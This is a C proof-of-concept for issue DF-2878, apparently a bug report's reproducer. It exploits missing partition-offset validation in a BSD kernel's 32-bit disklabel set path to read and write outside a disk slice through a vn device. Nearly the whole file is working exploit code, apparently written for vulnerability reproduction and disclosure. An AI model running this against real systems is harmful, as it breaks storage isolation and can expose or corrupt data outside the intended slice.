DF-2878 / poc2878.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /* * DF-2878 -- l32_setdisklabel installs an in-core disklabel32 with no * structural bounds validation of d_partitions[].p_offset (sys/kern/ * subr_disklabel32.c:249-315 checks only p_size > sp->ds_size). After * DIOCSDINFO32, every I/O through the partition device is translated by * dscheck() to (ds_offset + p_offset + secno) * secsize -- so a partition * pointing past the end of the slice makes /dev/vnXs1a read and write * OUTSIDE the slice on the underlying device. * * The label64 twin validates exactly this (sys/kern/subr_disklabel64.c: * 275-306); the label32 read path validates it (l32_fixlabel, * subr_disklabel32.c:593-609). The label32 SET path validates nothing. * * run: ./poc2878 <image-file> (as root, /dev/vn0 configured on image) */ #include <sys/types.h> #include <sys/ioccom.h> #include <sys/dtype.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <stddef.h> #define DISKMAGIC32 0x82564557u #define MAXPARTITIONS32 16 #define RAW_PART 2 struct partition32 { u_int32_t p_size; u_int32_t p_offset; u_int32_t p_fsize; u_int8_t p_fstype; u_int8_t p_frag; u_int16_t p_cpg; }; struct disklabel32 { u_int32_t d_magic; u_int16_t d_type; u_int16_t d_subtype; char d_typename[16]; char d_packname[16]; u_int32_t d_secsize, d_nsectors, d_ntracks, d_ncylinders, d_secpercyl, d_secperunit; u_int16_t d_sparespertrack, d_sparespercyl; u_int32_t d_acylinders; u_int16_t d_rpm, d_interleave, d_trackskew, d_cylskew; u_int32_t d_headswitch, d_trkseek, d_flags; u_int32_t d_drivedata[5]; u_int32_t d_spare[5]; u_int32_t d_magic2; u_int16_t d_checksum; u_int16_t d_npartitions; u_int32_t d_bbsize; u_int32_t d_sbsize; struct partition32 d_partitions[MAXPARTITIONS32]; }; _Static_assert(sizeof(struct disklabel32) == 404, "label32 layout"); _Static_assert(offsetof(struct disklabel32, d_partitions) == 148, "parts off"); #define DIOCSDINFO32 _IOW('d', 102, struct disklabel32) /* geometry of the image built by mkimg.py */ #define SLICE_START 2048 #define SLICE_SIZE 61696 #define MARKER_REL 61796 /* 63844 - 2048: OUTSIDE slice */ #define MARKER_ABS 63844 static u_int16_t dkcksum32(struct disklabel32 *lp) { u_int16_t *p, *end, sum = 0; p = (u_int16_t *)lp; end = (u_int16_t *)&lp->d_partitions[lp->d_npartitions]; while (p < end) sum ^= *p++; return sum; } static void mklabel(struct disklabel32 *lp, u_int a_off, u_int a_size) { memset(lp, 0, sizeof(*lp)); lp->d_magic = DISKMAGIC32; lp->d_secsize = 512; lp->d_nsectors = 32; lp->d_ntracks = 64; lp->d_secpercyl = 32 * 64; lp->d_secperunit = SLICE_SIZE; lp->d_interleave = 1; lp->d_magic2 = DISKMAGIC32; lp->d_npartitions = 3; lp->d_bbsize = 8192; lp->d_sbsize = 8192; lp->d_partitions[0].p_size = a_size; /* 'a' */ lp->d_partitions[0].p_offset = a_off; lp->d_partitions[0].p_fstype = FS_OTHER; lp->d_partitions[RAW_PART].p_size = SLICE_SIZE; /* 'c' raw */ lp->d_partitions[RAW_PART].p_offset = 0; lp->d_checksum = dkcksum32(lp); } static void dump(const char *tag, const char *buf) { printf("%s: %.48s\n", tag, buf); } int main(int argc, char **argv) { struct disklabel32 lp; char buf[512]; int fd, ff, error = 0; if (argc != 2) { fprintf(stderr, "usage: poc2878 <image-file>\n"); exit(2); } /* ---- 1. baseline: vn0s1a per the ON-DISK (bounded) label ---- */ fd = open("/dev/vn0s1a", O_RDONLY); if (fd < 0) { perror("open /dev/vn0s1a (baseline)"); fprintf(stderr, "is the vn configured? vnconfig -c /dev/vn0 img\n"); exit(2); } memset(buf, 0, sizeof(buf)); if (pread(fd, buf, 512, 0) != 512) { perror("baseline pread vn0s1a"); exit(2); } dump("BEFORE ioctl, vn0s1a@0 (in-slice, expect 'df2878-inside-slice')", buf); close(fd); /* out-of-slice read attempt under the bounded label: EOF at +16 sec */ fd = open("/dev/vn0s1a", O_RDONLY); memset(buf, 0, sizeof(buf)); ssize_t n = pread(fd, buf, 512, (off_t)MARKER_REL * 512); printf("BEFORE ioctl, vn0s1a@%d (out-of-slice offset): read=%zd errno=%d (%s)\n", MARKER_REL, n, errno, n < 0 ? strerror(errno) : "read-something(!)"); close(fd); /* ---- 2. install in-core label: 'a' -> OUTSIDE the slice ---- */ fd = open("/dev/vn0s1", O_RDWR); if (fd < 0) { perror("open /dev/vn0s1"); exit(2); } mklabel(&lp, MARKER_REL, 8); if (ioctl(fd, DIOCSDINFO32, &lp) < 0) { printf("DIOCSDINFO32: REJECTED: %s\n", strerror(errno)); printf("=> kernel enforces slice bounds on the set path (patched?)\n"); close(fd); exit(1); } printf("DIOCSDINFO32: accepted (in-core 'a' -> slice-relative %d = outside slice)\n", MARKER_REL); close(fd); /* ---- 3. read through vn0s1a: must now hit out-of-slice bytes ---- */ fd = open("/dev/vn0s1a", O_RDONLY); if (fd < 0) { perror("open /dev/vn0s1a (after)"); exit(2); } memset(buf, 0, sizeof(buf)); if (pread(fd, buf, 512, 0) != 512) { perror("after pread vn0s1a"); exit(2); } dump("AFTER ioctl, vn0s1a@0 (expect 'DF2878-OUTSIDE-SLICE-SECRET')", buf); if (strncmp(buf, "DF2878-OUTSIDE-SLICE-SECRET", 27) == 0) printf("READ-ESCAPE: PASS - partition node returned bytes from " "OUTSIDE the slice\n"); else { printf("READ-ESCAPE: FAIL - got in-slice data\n"); error = 1; } /* ---- 4. write through vn0s1a, then verify on the backing file ---- */ fd = open("/dev/vn0s1a", O_RDWR); memset(buf, 0, sizeof(buf)); strcpy(buf, "DF2878-ESCAPED-WRITE"); if (pwrite(fd, buf, 512, 512) != 512) { /* abs 63845: outside slice */ perror("after pwrite vn0s1a"); exit(2); } close(fd); ff = open(argv[1], O_RDONLY); if (ff < 0) { perror("open image file"); exit(2); } memset(buf, 0, sizeof(buf)); if (pread(ff, buf, 512, (off_t)63845 * 512) != 512) { perror("pread image file"); exit(2); } close(ff); dump("backing image @63845 (expect 'DF2878-ESCAPED-WRITE')", buf); if (strncmp(buf, "DF2878-ESCAPED-WRITE", 20) == 0) printf("WRITE-ESCAPE: PASS - write through partition node landed " "OUTSIDE the slice\n"); else { printf("WRITE-ESCAPE: FAIL\n"); error = 1; } printf("DF-2878 %s\n", error ? "NOT REPRODUCED" : "REPRODUCED"); return error; } |